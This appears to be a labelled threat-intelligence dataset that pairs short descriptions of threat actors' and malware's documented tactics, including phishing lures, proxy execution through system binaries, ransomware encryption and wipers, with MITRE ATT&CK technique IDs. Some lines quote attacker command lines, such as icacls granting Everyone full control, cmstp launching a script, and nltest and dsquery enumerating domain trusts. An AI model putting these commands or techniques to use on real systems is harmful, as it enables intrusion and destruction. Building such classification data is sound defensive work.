+Bumblebee has relied upon a user opening an ISO file to enable execution of malicious shortcut files and DLLs.	['T1204.002']
+Bundlore has attempted to get users to execute a malicious .app file that looks like a Flash Player update.	['T1204.002']
+CARROTBALL has been executed through users being lured into opening malicious e-mail attachments.	['T1204.002']
+CSPY Downloader has been delivered via malicious documents with embedded macros.	['T1204.002']
+Clambling has gained execution through luring victims into opening malicious files.	['T1204.002']
+Cobalt Group has sent emails containing malicious attachments that require users to execute a file or macro to infect the victim machine.	['T1204.002']
+DanBot has relied on victims' opening a malicious file for initial execution.	['T1204.002']
+Dark Caracal makes their malware look like Flash Player, Office, or PDF documents in order to entice a user to click on it.	['T1204.002']
+DnsSystem has lured victims into opening macro-enabled Word documents for execution.	['T1204.002']
+Dragonfly has used various forms of spearphishing in attempts to get users to open malicious attachments.	['T1204.002']
+During C0011, Transparent Tribe relied on a student target to open a malicious document delivered via email.	['T1204.002']
+During Operation Dust Storm, the threat actors relied on potential victims to open a malicious Microsoft Word document sent via email.	['T1204.002']
+During Operation Sharpshooter, the threat actors relied on victims executing malicious Microsoft Word or PDF files.	['T1204.002']
+During Operation Spalax, the threat actors relied on a victim to open a PDF document and click on an embedded malicious link to download malware.	['T1204.002']
+EXOTIC LILY has gained execution through victims clicking on malicious LNK files contained within ISO files, which can execute hidden DLLs within the ISO.	['T1204.002']
+Earth Lusca required users to click on a malicious file for the loader to activate.	['T1204.002']
+Elderwood has leveraged multiple types of spearphishing in order to attempt to get a user to open attachments.	['T1204.002']
+Ember Bear has attempted to lure victims into executing malicious files.	['T1204.002']
+Emotet has relied upon users clicking on a malicious attachment delivered through spearphishing.	['T1204.002']
+FIN4 has lured victims to launch malicious attachments delivered via spearphishing emails (often sent from compromised accounts).	['T1204.002']
+FIN7 lured victims to double-click on images in the attachments they sent which would then execute the hidden LNK file.	['T1204.002']
+FIN8 has used malicious e-mail attachments to lure victims into executing malware.	['T1204.002']
+Ferocious Kitten has attempted to convince victims to enable malicious content within a spearphishing email by including an odd decoy message.	['T1204.002']
+Frankenstein has used trojanized Microsoft Word documents sent via email, which prompted the victim to enable macros.	['T1204.002']
+Gallmaker sent victims a lure document with a warning that asked victims to “enable content” for execution.	['T1204.002']
+Gamaredon Group has attempted to get users to click on Office attachments with malicious macros embedded.	['T1204.002']
+Gorgon Group attempted to get users to launch malicious Microsoft Office attachments delivered via spearphishing emails.	['T1204.002']
+Grandoreiro has infected victims via malicious attachments.	['T1204.002']
+IcedID has been executed through Word documents with malicious embedded macros.	['T1204.002']
+InvisiMole can deliver trojanized versions of software and documents, relying on user execution.	['T1204.002']
+JCry has achieved execution by luring users to click on a file that appeared to be an Adobe Flash Player update installer.	['T1204.002']
+Javali has achieved execution through victims opening malicious attachments, including MSI files with embedded VBScript.	['T1204.002']
+KONNI has relied on a victim to enable malicious macros within an attachment delivered via email.	['T1204.002']
+Kerrdown has gained execution through victims opening malicious files.	['T1204.002']
+Kimsuky has used attempted to lure victims into opening malicious e-mail attachments.	['T1204.002']
+Leviathan has sent spearphishing attachments attempting to get a user to click.	['T1204.002']
+"Lokibot has tricked recipients into enabling malicious macros by getting victims to click ""enable content"" in email attachments."	['T1204.002']
+Magic Hound has attempted to lure victims into opening malicious email attachments.	['T1204.002']
+Magic Hound has lured victims into executing malicious files.	['T1204.002']
+Metamorfo requires the user to double-click the executable to run the malicious HTA file or to download a malicious installer.	['T1204.002']
+Mofang's malicious spearphishing attachments required a user to open the file after receiving.	['T1204.002']
+Molerats has sent malicious files via email that tricked users into clicking Enable Content to run an embedded macro and to download malicious archives.	['T1204.002']
+Mongall has relied on a user opening a malicious document for execution.	['T1204.002']
+MuddyWater has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails.	['T1204.002']
+Mustang Panda has sent malicious files requiring direct victim interaction to execute.	['T1204.002']
+NETWIRE has been executed through luring victims into opening malicious documents.	['T1204.002']
+Naikon has convinced victims to open malicious attachments to execute malware.	['T1204.002']
+NativeZone can display an RTF document to the user  to enable execution of  Cobalt Strike stage shellcode.	['T1204.002']
+OSX/Shlayer has relied on users mounting and executing a malicious DMG file.	['T1204.002']
+"OilRig has delivered macro-enabled documents that required targets to click the ""enable content"" button to execute the payload on the system."	['T1204.002']
+OutSteel has relied on a user to execute a malicious attachment delivered via spearphishing.	['T1204.002']
+PLATINUM has attempted to get users to open malicious files by sending spearphishing emails with attachments to victims.	['T1204.002']
+PROMETHIUM has attempted to get users to execute compromised installation files for legitimate software including compression applications, security software, browsers, file recovery applications, and other tools and utilities.	['T1204.002']
+Patchwork embedded a malicious macro in a Word document and lured the victim to click on an icon to execute the malware.	['T1204.002']
+PoetRAT has used spearphishing attachments to infect victims.	['T1204.002']
+Pony has attempted to lure targets into downloading an attached executable (ZIP, RAR, or CAB archives) or document (PDF or other MS Office format).	['T1204.002']
+QakBot has gained execution through users opening malicious attachments.	['T1204.002']
+REvil has been executed via malicious MS Word e-mail attachments.	['T1204.002']
+RTM has attempted to lure victims into opening e-mail attachments to execute malicious code.	['T1204.002']
+RTM has relied on users opening malicious email attachments, decompressing the attached archive, and double-clicking the executable within.	['T1204.002']
+Ramsay has been executed through malicious e-mail attachments.	['T1204.002']
+Rifdoor has been executed from malicious Excel or Word documents containing macros.	['T1204.002']
+SQLRat relies on users clicking on an embedded image to execute the scripts.	['T1204.002']
+STARWHALE has relied on victims opening a malicious Excel file for execution.	['T1204.002']
+Saint Bot has relied upon users to execute a malicious attachment delivered via spearphishing.	['T1204.002']
+Sandworm Team has tricked unwitting recipients into clicking on spearphishing attachments and enabling malicious macros embedded within files.	['T1204.002']
+Silence attempts to get users to launch malicious attachments delivered via spearphishing emails.	['T1204.002']
+Some SUGARDUMP variants required a user to enable a macro within a malicious .xls file for execution.	['T1204.002']
+TA459 has attempted to get victims to open malicious Microsoft Word attachment sent via spearphishing.	['T1204.002']
+TA505 has used lures to get users to enable content in malicious attachments and execute malicious files contained in archives. For example, TA505 makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files.	['T1204.002']
+TA551 has prompted users to enable macros within spearphishing attachments to install malware.	['T1204.002']
+The White Company has used phishing lure documents that trick users into opening them and infecting their computers.	['T1204.002']
+Threat Group-3390 has lured victims into opening malicious files containing malware.	['T1204.002']
+ThreatNeedle relies on a victim to click on a malicious document for initial execution.	['T1204.002']
+Tonto Team has relied on user interaction to open their malicious RTF documents.	['T1204.002']
+Tropic Trooper has lured victims into executing malware via malicious e-mail attachments.	['T1204.002']
+WIRTE has attempted to lure users into opening malicious MS Word and Excel files to execute malicious payloads.	['T1204.002']
+WarzoneRAT has relied on a victim to open a malicious attachment within an email for execution.	['T1204.002']
+Windshift has used e-mail attachments to lure victims into executing malicious code.	['T1204.002']
+Wizard Spider has lured victims to execute malware with spearphishing attachments containing macros to download either Emotet, Bokbot, TrickBot, or Bazar.	['T1204.002']
+ZxxZ has relied on victims to open a malicious attachment delivered via email.	['T1204.002']
+admin@338 has attempted to get victims to launch malicious Microsoft Word attachments delivered via spearphishing emails.	['T1204.002']
+menuPass has attempted to get victims to open malicious files such as Windows Shortcuts (.lnk) and/or Microsoft Office documents, sent via email as part of spearphishing campaigns.	['T1204.002']
+TeamTNT has relied on users to download and execute malicious Docker images.	['T1204.003']
+Kobalos is triggered by an incoming TCP connection to a legitimate service from a specific source port.	['T1205']
+Pandora can identify if incoming HTTP traffic contains a token and if so it will intercept the traffic and process the received command.	['T1205']
+Ryuk has used Wake-on-Lan to power on turned off systems for lateral movement.	['T1205']
+SYNful Knock can be sent instructions via special packets to change its functionality. Code for new functionality can be included in these messages.	['T1205']
+Umbreon provides additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet	['T1205']
+Winnti for Linux has used a passive listener, capable of identifying a specific magic value before executing tasking, as a secondary command and control (C2) mechanism.	['T1205']
+PROMETHIUM has used a script that configures the knockd service and firewall to only accept C2 connections from systems that use a specified sequence of knock ports.	['T1205.001']
+Penquin installs a `TCP` and `UDP` filter on the `eth0` interface.	['T1205.002']
+APT28 exploited a Windows SMB Remote Code Execution Vulnerability to conduct lateral movement.	['T1210']
+Conficker exploited the MS08-067 Windows vulnerability for remote code execution through a crafted RPC request.	['T1210']
+Dragonfly has exploited a Windows Netlogon vulnerability (CVE-2020-1472) to obtain access to Windows Active Directory servers.	['T1210']
+Earth Lusca has used Mimikatz to exploit a domain controller via the ZeroLogon exploit (CVE-2020-1472).	['T1210']
+Emotet has been seen exploiting SMB via a vulnerability exploit like EternalBlue (MS17-010) to achieve lateral movement and propagation.	['T1210']
+Empire has a limited number of built-in modules for exploiting remote SMB, JBoss, and Jenkins servers.	['T1210']
+Fox Kitten has exploited known vulnerabilities in remote services including RDP.	['T1210']
+InvisiMole can spread within a network via the BlueKeep (CVE-2019-0708) and EternalBlue (CVE-2017-0144) vulnerabilities in RDP and SMB respectively.	['T1210']
+Lucifer can exploit multiple vulnerabilities including EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0144).	['T1210']
+MuddyWater has exploited the Microsoft Netlogon vulnerability (CVE-2020-1472).	['T1210']
+NotPetya can use two exploits in SMBv1, EternalBlue and EternalRomance, to spread itself to other remote systems on the network.	['T1210']
+PoshC2 contains a module for exploiting SMB via EternalBlue.	['T1210']
+QakBot can move laterally using worm-like functionality through exploitation of SMB.	['T1210']
+Stuxnet propagates using the MS10-061 Print Spooler and MS08-067 Windows Server Service vulnerabilities.	['T1210']
+Wizard Spider has exploited or attempted to exploit Zerologon (CVE-2020-1472) and EternalBlue (MS17-010) vulnerabilities.	['T1210']
+APT28 has collected files from various information repositories.	['T1213']
+APT29 has accessed victims’ internal knowledge repositories (wikis) to view sensitive corporate information on products, services, and internal business operations.	['T1213']
+FIN6 has collected schemas and user accounts from systems running SQL Server.	['T1213']
+Fox Kitten has accessed victim security and IT environments and Microsoft Teams to mine valuable information.	['T1213']
+LAPSUS$ has searched a victim's network for organization collaboration channels like MS Teams or Slack to discover further high-privilege account credentials.	['T1213']
+P.A.S. Webshell has the ability to list and extract data from SQL databases.	['T1213']
+LAPSUS$ has searched a victim's network for collaboration platforms like Confluence and JIRA to discover further high-privilege account credentials.	['T1213.001']
+APT28 has collected information from Microsoft SharePoint services within target networks.	['T1213.002']
+Ke3chang used a SharePoint enumeration and data dumping tool known as spwebmember.	['T1213.002']
+LAPSUS$ has searched a victim's network for collaboration platforms like SharePoint to discover further high-privilege account credentials.	['T1213.002']
+spwebmember is used to enumerate and dump information from Microsoft SharePoint.	['T1213.002']
+APT29 has downloaded source code from code repositories.	['T1213.003']
+APT32 has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.	['T1216.001']
+APT38 has collected browser bookmark information to learn more about compromised hosts, obtain personal information about users, and acquire details about internal network resources.	['T1217']
+Calisto collects information on bookmarks from Google Chrome.	['T1217']
+Dtrack can retrieve browser history.	['T1217']
+Empire has the ability to gather browser data such as bookmarks and visited sites.	['T1217']
+Fox Kitten has used Google Chrome bookmarks to identify internal resources and assets.	['T1217']
+MobileOrder has a command to upload to its C2 server victim browser bookmarks.	['T1217']
+PowerLess can use a .NET browser information stealer module.	['T1217']
+APT38 has used CHM files to move concealed payloads.	['T1218.001']
+APT41 used compiled HTML (.chm) files for targeting.	['T1218.001']
+Astaroth uses ActiveX objects for file execution and manipulation.	['T1218.001']
+OilRig has used a CHM payload to load and execute another malicious file once delivered to a victim.	['T1218.001']
+Silence has weaponized CHM files in their phishing campaigns.	['T1218.001']
+InvisiMole can register itself for execution and persistence via the Control Panel.	['T1218.002']
+"Cobalt Group has used the command ""cmstp.exe /s /ns C:\Users\ADMINI~W\AppData\Local\Temp\XKNqbpzl.txt"" to bypass AppLocker and launch a malicious script."	['T1218.003']
+MuddyWater has used CMSTP.exe and a malicious INF to execute its POWERSTATS payload.	['T1218.003']
+Chaes has used Installutill to download content.	['T1218.004']
+Saint Bot had used `InstallUtil.exe` to download and deploy executables.	['T1218.004']
+WhisperGate has used `InstallUtil.exe` as part of its process to disable Windows Defender.	['T1218.004']
+"menuPass has used ""InstallUtil.exe"" to execute malicious software."	['T1218.004']
+APT29 has use `mshta` to execute malicious scripts on a compromised host.	['T1218.005']
+APT32 has used mshta.exe for code execution.	['T1218.005']
+BabyShark has used mshta.exe to download and execute applications from a remote server.	['T1218.005']
+Confucius has used mshta.exe to execute malicious VBScript.	['T1218.005']
+During C0015, the threat actors used `mshta` to execute DLLs.	['T1218.005']
+During Operation Dust Storm, the threat actors executed JavaScript code via `mshta.exe`.	['T1218.005']
+Earth Lusca has used `mshta.exe` to load an HTA script within a malicious .LNK file.	['T1218.005']
+FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems.	['T1218.005']
+Gamaredon Group has used `mshta.exe` to execute malicious HTA files.	['T1218.005']
+Inception has used malicious HTA files to drop and execute malware.	['T1218.005']
+Kimsuky has used mshta.exe to run malicious scripts on the system.	['T1218.005']
+Koadic can use mshta to serve additional payloads and to help schedule tasks for persistence.	['T1218.005']
+"Lazarus Group has used ""mshta.exe"" to execute HTML pages downloaded by initial access documents."	['T1218.005']
+Lazarus Group has used mshta.exe to run malicious scripts and download programs.	['T1218.005']
+LazyScripter has used `mshta.exe` to execute Koadic stagers.	['T1218.005']
+MuddyWater has used mshta.exe to execute its POWERSTATS payload and to pass a PowerShell one-liner for execution.	['T1218.005']
+NanHaiShu uses mshta.exe to load its program and files.	['T1218.005']
+Pteranodon can use mshta.exe to execute an HTA file hosted on a remote server.	['T1218.005']
+Revenge RAT uses mshta.exe to run malicious scripts on the system.	['T1218.005']
+Sibot has been executed via MSHTA application.	['T1218.005']
+"Sidewinder has used ""mshta.exe"" to execute malicious payloads."	['T1218.005']
+TA551 has used mshta.exe to execute malicious payloads.	['T1218.005']
+Xbash can use mshta for executing scripts.	['T1218.005']
+AppleJeus has been installed via MSI installer.	['T1218.007']
+Chaes has used .MSI files as an initial way to start the infection chain.	['T1218.007']
+Clop can use msiexec.exe to disable security tools on the system.	['T1218.007']
+"Duqu has used ""msiexec"" to execute malicious Windows Installer packages. Additionally, a PROPERTY=VALUE pair containing a 56-bit encryption key has been used to decrypt the main payload from the installer packages."	['T1218.007']
+FlawedAmmyy has been installed via `msiexec.exe`.	['T1218.007']
+Grandoreiro can use MSI files to execute DLLs.	['T1218.007']
+IcedID can inject itself into a suspended msiexec.exe process to send beacons to C2 while appearing as a normal msi application.	['T1218.007']
+Javali has used the MSI installer to download and execute malicious payloads.	['T1218.007']
+LoudMiner used an MSI installer to install the virtualization software.	['T1218.007']
+Machete has used msiexec to install the Machete malware.	['T1218.007']
+"Maze has delivered components for its ransomware attacks using MSI files, some of which have been executed from the command-line using ""msiexec""."	['T1218.007']
+Melcoz can use MSI files with embedded VBScript for execution.	['T1218.007']
+Metamorfo has used MsiExec.exe to automatically execute files.	['T1218.007']
+RCSession has the ability to execute inside the msiexec.exe process.	['T1218.007']
+"Ragnar Locker has been delivered as an unsigned MSI package that was executed with ""msiexec.exe""."	['T1218.007']
+"Rancor has used ""msiexec"" to download and execute malicious installer files over HTTP."	['T1218.007']
+"TA505 has used ""msiexec"" to download and execute malicious Windows Installer files."	['T1218.007']
+Bumblebee can use `odbcconf.exe` to run DLLs on targeted hosts.	['T1218.008']
+Agent Tesla has dropped RegAsm.exe onto systems for performing malicious activity.	['T1218.009']
+APT19 used Regsvr32 to bypass application control techniques.	['T1218.010']
+APT32 created a Scheduled Task/Job that used regsvr32.exe to execute a COM scriptlet that dynamically downloaded a backdoor and injected it into memory. The group has also used regsvr32 to run their backdoor.	['T1218.010']
+AppleSeed can call regsvr32.exe for execution.	['T1218.010']
+Astaroth can be loaded through regsvr32.exe.	['T1218.010']
+Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using regsvr32.exe.	['T1218.010']
+Cobalt Group has used regsvr32.exe to execute scripts.	['T1218.010']
+Derusbi variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.	['T1218.010']
+During C0015, the threat actors employed code that used `regsvr32` for execution.	['T1218.010']
+EVILNUM can run a remote scriptlet that drops a file and executes it via regsvr32.exe.	['T1218.010']
+Egregor has used regsvr32.exe to execute malicious DLLs.	['T1218.010']
+HermeticWizard has used `regsvr32.exe /s /i` to execute malicious payloads.	['T1218.010']
+"Kimsuky has executed malware with ""regsvr32s""."	['T1218.010']
+Koadic can use Regsvr32 to execute additional payloads.	['T1218.010']
+Lazarus Group has used rgsvr32 to execute custom malware.	['T1218.010']
+QakBot can use Regsvr32 to execute malicious DLLs.	['T1218.010']
+Ragnar Locker has used regsvr32.exe to execute components of VirtualBox.	['T1218.010']
+RogueRobin uses regsvr32.exe to run a .sct file for execution.	['T1218.010']
+Saint Bot has used `regsvr32` to execute scripts.	['T1218.010']
+Some Orz versions have an embedded DLL known as MockDll that uses Process Hollowing and regsvr32 to execute another payload.	['T1218.010']
+"Valak has used ""regsvr32.exe"" to launch malicious DLLs."	['T1218.010']
+WIRTE has used `regsvr32.exe` to trigger the execution of a malicious script.	['T1218.010']
+Xbash can use regsvr32 for executing scripts.	['T1218.010']
+A gh0st RAT variant has used rundll32 for execution.	['T1218.011']
+APT19 configured its payload to inject into the rundll32.exe.	['T1218.011']
+"APT28 executed CHOPSTICK by using rundll32 commands such as ""rundll32.exe “C:\Windows\twain_64.dll”"". APT28 also executed a .dll for a first stage dropper using rundll32.exe. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload."	['T1218.011']
+APT3 has a tool that can run DLLs.	['T1218.011']
+APT38 has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools.	['T1218.011']
+APT41 has used rundll32.exe to execute a loader.	['T1218.011']
+After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe.	['T1218.011']
+Attor's installer plugin can schedule rundll32.exe to load the dispatcher.	['T1218.011']
+BLINDINGCAN has used Rundll32 to load a malicious DLL.	['T1218.011']
+Backdoor.Oldrea can use rundll32 for execution on compromised hosts.	['T1218.011']
+BoomBox can use RunDLL32 for execution.	['T1218.011']
+Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs.	['T1218.011']
+"CORESHELL is installed via execution of rundll32 with an export named ""init"" or ""InitW."""	['T1218.011']
+Carbanak installs VNC server software that executes through rundll32.	['T1218.011']
+Cobalt Strike can use `rundll32.exe` to load DLL from the command line.	['T1218.011']
+Comnie uses Rundll32 to load a malicious DLL.	['T1218.011']
+CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.	['T1218.011']
+DDKONG uses Rundll32 to ensure only a single instance of itself is running at once.	['T1218.011']
+During Operation Spalax, the threat actors used `rundll32.exe` to execute malicious installers.	['T1218.011']
+EVILNUM can execute commands and scripts through rundll32.	['T1218.011']
+Egregor has used rundll32 during execution.	['T1218.011']
+FatDuke can execute via rundll32.	['T1218.011']
+FlawedAmmyy has used `rundll32` for execution.	['T1218.011']
+FunnyDream can use `rundll32` for execution of its components.	['T1218.011']
+GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\SYSTEM).	['T1218.011']
+"HAFNIUM has used ""rundll32"" to load malicious DLLs."	['T1218.011']
+HermeticWizard has the ability to create a new process using `rundll32`.	['T1218.011']
+InvisiMole has used rundll32.exe for execution.	['T1218.011']
+KONNI has used Rundll32 to execute its loader for privilege escalation purposes.	['T1218.011']
+Koadic can use Rundll32 to execute additional payloads.	['T1218.011']
+Kwampirs uses rundll32.exe in a Registry value added to establish persistence.	['T1218.011']
+Lazarus Group has used rundll32 to execute malicious payloads on a compromised host.	['T1218.011']
+"MegaCortex has used ""rundll32.exe"" to load a DLL for file encryption."	['T1218.011']
+Mongall can use `rundll32.exe` for execution.	['T1218.011']
+Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.	['T1218.011']
+MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.	['T1218.011']
+NOKKI has used rundll32 for execution.	['T1218.011']
+PUNCHBUGGY can load a DLL using Rundll32.	['T1218.011']
+PcShare has used `rundll32.exe` for execution.	['T1218.011']
+PolyglotDuke can be executed using rundll32.exe.	['T1218.011']
+PowerDuke uses rundll32.exe to load.	['T1218.011']
+Pteranodon executes functions using rundll32.exe.	['T1218.011']
+QakBot can use Rundll32.exe to enable C2 communication.	['T1218.011']
+RTM runs its core DLL file using rundll32.exe.	['T1218.011']
+Ragnar Locker has used rundll32.exe to execute components of VirtualBox.	['T1218.011']
+Rundll32.exe is used as a way of executing Flame at the command-line.	['T1218.011']
+Sakula calls cmd.exe to run various DLL files via rundll32.	['T1218.011']
+Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe.	['T1218.011']
+"ServHelper contains a module for downloading and executing DLLs that leverages ""rundll32.exe""."	['T1218.011']
+"Sibot has executed downloaded DLLs with ""rundll32.exe""."	['T1218.011']
+Squirrelwaffle has been executed using `rundll32.exe`.	['T1218.011']
+StreamEx uses rundll32 to call an exported function.	['T1218.011']
+"TA505 has leveraged ""rundll32.exe"" to execute malicious DLLs."	['T1218.011']
+TA551 has used rundll32.exe to load malicious DLLs.	['T1218.011']
+The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component.	['T1218.011']
+USBferry can execute rundll32.exe in memory to avoid detection.	['T1218.011']
+Variants of Emissary have used rundll32.exe in Registry values added to establish persistence.	['T1218.011']
+ZxShell has used rundll32.exe to execute other DLLs and named pipes.	['T1218.011']
+Carbanak used legitimate programs such as AmmyyAdmin and Team Viewer for remote interactive C2 to target systems.	['T1219']
+Dridex contains a module for VNC.	['T1219']
+During C0015, the threat actors installed the AnyDesk remote desktop application onto the compromised network.	['T1219']
+During Night Dragon, threat actors used several remote administration tools as persistent infiltration channels.	['T1219']
+Egregor has checked for the LogMein event log in an attempt to encrypt files in remote machines.	['T1219']
+Hildegard has established tmate sessions for C2 communications.	['T1219']
+MuddyWater has used a legitimate application, ScreenConnect, to manage systems remotely and move laterally.	['T1219']
+Mustang Panda has installed TeamViewer on targeted systems.	['T1219']
+Night Dragon has used several remote administration tools as persistent infiltration channels.	['T1219']
+RTM has the capability to download a VNC module from command and control (C2).	['T1219']
+Sandworm Team has used remote administration tools or remote industrial control system client software to maliciously release electricity breakers.	['T1219']
+TeamTNT has established tmate sessions for C2 communications.	['T1219']
+Thrip used a cloud-based remote access software called LogMeIn for their attacks.	['T1219']
+Astaroth executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain.	['T1220']
+Higaisa used an XSL file to run VBScript code.	['T1220']
+Lazarus Group has used WMIC to execute a remote XSL script to establish persistence.	['T1220']
+APT28 used weaponized Microsoft Word documents abusing the remote template function to retrieve a malicious macro.	['T1221']
+Chaes changed the template target of the settings.xml file embedded in the Word document and populated that field with the downloaded URL of the next payload.	['T1221']
+DarkHydrus used an open-source tool, Phishery, to inject malicious remote template URLs into Microsoft Word documents and then sent them to victims to enable Forced Authentication.	['T1221']
+Dragonfly 2.0 has injected SMB URLs into malicious Word spearphishing attachments to initiate Forced Authentication.	['T1221']
+Dragonfly has injected SMB URLs into malicious Word spearphishing attachments to initiate Forced Authentication.	['T1221']
+During Frankenstein, the threat actors used trojanized documents that retrieved remote templates from an adversary-controlled website.	['T1221']
+Frankenstein has used trojanized documents that retrieve remote templates from an adversary-controlled website.	['T1221']
+Gamaredon Group has used DOCX files to download malicious DOT document templates and has used RTF template injection to download malicious payloads. Gamaredon Group can also inject malicious macros or remote templates into documents already present on compromised systems.	['T1221']
+Tropic Trooper delivered malicious documents with the XLSX extension, typically used by OpenXML documents, but the file itself was actually an OLE (XLS) document.	['T1221']
+WarzoneRAT has been install via template injection through a malicious DLL embedded within a template RTF in a Word document.	['T1221']
+"BitPaymer can use ""icacls /reset"" and ""takeown /F"" to reset a targeted executable's permissions and then take ownership."	['T1222.001']
+Grandoreiro can modify the binary ACL to prevent security tools from running.	['T1222.001']
+"WannaCry uses ""attrib +h"" and ""icacls . /grant Everyone:F /T /C /Q"" to make some of its files hidden and grant all users full access controls."	['T1222.001']
+"WastedLocker has a command to take ownership of a file and reset the ACL permissions using the ""takeown.exe /F filepath"" command."	['T1222.001']
+Wizard Spider has used the icacls command to modify access control to backup servers, providing them with full control of all the system folders.	['T1222.001']
+"Bundlore changes the permissions of a payload using the command ""chmod -R 755""."	['T1222.002']
+"Dok gives all users execute permissions for the application using the command ""chmod +x /Users/Shared/AppStore.app""."	['T1222.002']
+Kinsing has used chmod to modify permissions on key files for use.	['T1222.002']
+"OSX/Shlayer can use the ""chmod"" utility to set a file as executable, such as ""chmod 777"" or ""chmod +x""."	['T1222.002']
+"OSX_OCEANLOTUS.D has changed permissions of a second-stage payload to an executable via ""chmod""."	['T1222.002']
+P.A.S. Webshell has the ability to modify file permissions.	['T1222.002']
+Penquin can add the executable flag to a downloaded file.	['T1222.002']
+Rocke has changed file permissions of files so they could not be modified.	['T1222.002']
+"TeamTNT has modified the permissions on binaries with ""chattr""."	['T1222.002']
+Anchor can terminate itself if specific execution flags are not present.	['T1480']
+BitPaymer compares file names and paths to a list of excluded names and directory names during encryption.	['T1480']
+"EnvyScout can call ""window.location.pathname"" to ensure that embedded files are being executed from the C: drive, and will terminate if they are not."	['T1480']
+SUNSPOT only replaces SolarWinds Orion source code if the MD5 checksums of both the original source code file and backdoored replacement source code match hardcoded values.	['T1480']
+Small Sieve can only execute correctly if the word `Platypus` is passed to it on the command line.	['T1480']
+Stuxnet checks for specific operating systems on 32-bit machines, Registry keys, and dates for vulnerabilities, and will exit execution if the values are not met.	['T1480']
+Torisma is only delivered to a compromised host if the victim's IP address is on an allow-list.	['T1480']
+VaporRage has the ability to check for the presence of a specific DLL and terminate if it is not found.	['T1480']
+APT41 has encrypted payloads using the Data Protection API (DPAPI), which relies on keys tied to specific user accounts on specific machines. APT41 has also environmentally keyed second stage malware with an RC5 key derived in part from the infected system's volume serial number.	['T1480.001']
+Equation has been observed utilizing environmental keying in payload delivery.	['T1480.001']
+ROKRAT relies on a specific victim hostname to execute and decrypt important strings.	['T1480.001']
+The Winnti for Windows dropper component can verify the existence of a single command line parameter and either terminate if it is not found or later use it as a decryption key.	['T1480.001']
+Bazar can use Nltest tools to obtain information about the domain.	['T1482']
+During C0015, the threat actors used the command `nltest /domain_trusts /all_trusts` to enumerate domain trusts.	['T1482']
+Earth Lusca has used Nltest to obtain information about domain controllers.	['T1482']
+"FIN8 has retrieved a list of trusted domains by using ""Nltest.exe /domain_trusts""."	['T1482']
+"Nltest may be used to enumerate trusted domains by using commands such as ""nltest /domain_trusts""."	['T1482']
+PoshC2 has modules for enumerating domain trusts.	['T1482']
+"PowerSploit has modules such as ""Get-NetDomainTrust"" and ""Get-NetForestTrust"" to enumerate domain and forest trusts."	['T1482']
+"QakBot can run ""nltest /domain_trusts /all_trusts"" for domain trust discovery."	['T1482']
+TrickBot can gather information about domain trusts by utilizing Nltest.	['T1482']
+"UNC2452 used the ""Get-AcceptedDomain"" PowerShell cmdlet to enumerate accepted domains through an Exchange Management Shell. They also used AdFind to enumerate domains and to discover trust between federated domains."	['T1482']
+"dsquery can be used to gather information on domain trusts with ""dsquery * -filter ""(objectClass=trustedDomain)"" -attr *""."	['T1482']
+"Empire can use ""New-GPOImmediateTask"" to modify a GPO that will install and execute a malicious Scheduled Task/Job."	['T1484.001']
+HermeticWiper has the ability to deploy through an infected system's default domain policy.	['T1484.001']
+AADInternals can create a backdoor by converting a domain to a federated domain which will be able to authenticate any user across the tenant. AADInternals can also modify DesktopSSO information.	['T1484.002']
+APT38 has used a custom secure delete function to make deleted files unrecoverable.	['T1485']
+"BlackEnergy 2 contains a ""Destroy"" plug-in that destroys data stored on victim hard drives by overwriting file contents."	['T1485']
+CaddyWiper can work alphabetically through drives on a compromised system to take ownership of and overwrite all files.	['T1485']
+HermeticWiper can recursively wipe folders and files in `Windows`, `Program Files`, `Program Files(x86)`, `PerfLogs`, `Boot, System`, `Volume Information`, and `AppData` folders using `FSCTL_MOVE_FILE`. HermeticWiper can also overwrite symbolic links and big files in `My Documents` and on the Desktop with random bytes.	['T1485']
+Industroyer’s data wiper module clears registry keys and overwrites both ICS configuration and Windows files.	['T1485']
+Kazuar can overwrite files with random data before deleting them.	['T1485']
+Meteor can fill a victim's files and directories with zero-bytes in replacement of real content before deleting them.	['T1485']
+Olympic Destroyer overwrites files locally and on remote shares.	['T1485']
+REvil has the capability to destroy files and folders.	['T1485']
+RawDisk was used in Shamoon to write to protected system locations such as the MBR and disk partitions in an effort to destroy data.	['T1485']
+Sandworm Team has used the BlackEnergy KillDisk component to overwrite files on Windows-based Human-Machine Interfaces.	['T1485']
+Shamoon attempts to overwrite operating system files and disk structures with image files. In a later variant, randomly generated data was used for data overwrites.	['T1485']
+APT38 has used Hermes ransomware to encrypt files with AES256.	['T1486']
+Avaddon encrypts the victim system using a combination of AES256 and RSA encryption schemes.	['T1486']
+"BitPaymer can import a hard-coded RSA 1024-bit public key, generate a 128-bit RC4 key for each file, and encrypt the file in place, appending "".locked"" to the filename."	['T1486']
+"Clop can encrypt files using AES, RSA, and RC4 and will add the "".clop"" extension to encrypted files."	['T1486']
+"Conti can use ""CreateIoCompletionPort()"", ""PostQueuedCompletionStatus()"", and ""GetQueuedCompletionPort()"" to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. Conti can use “Windows Restart Manager” to ensure files are unlocked and open for encryption."	['T1486']
+"Cuba has the ability to encrypt system data and add the "".cuba"" extension to encrypted files."	['T1486']
+DEATHRANSOM can use public and private key pair encryption to encrypt files for ransom payment.	['T1486']
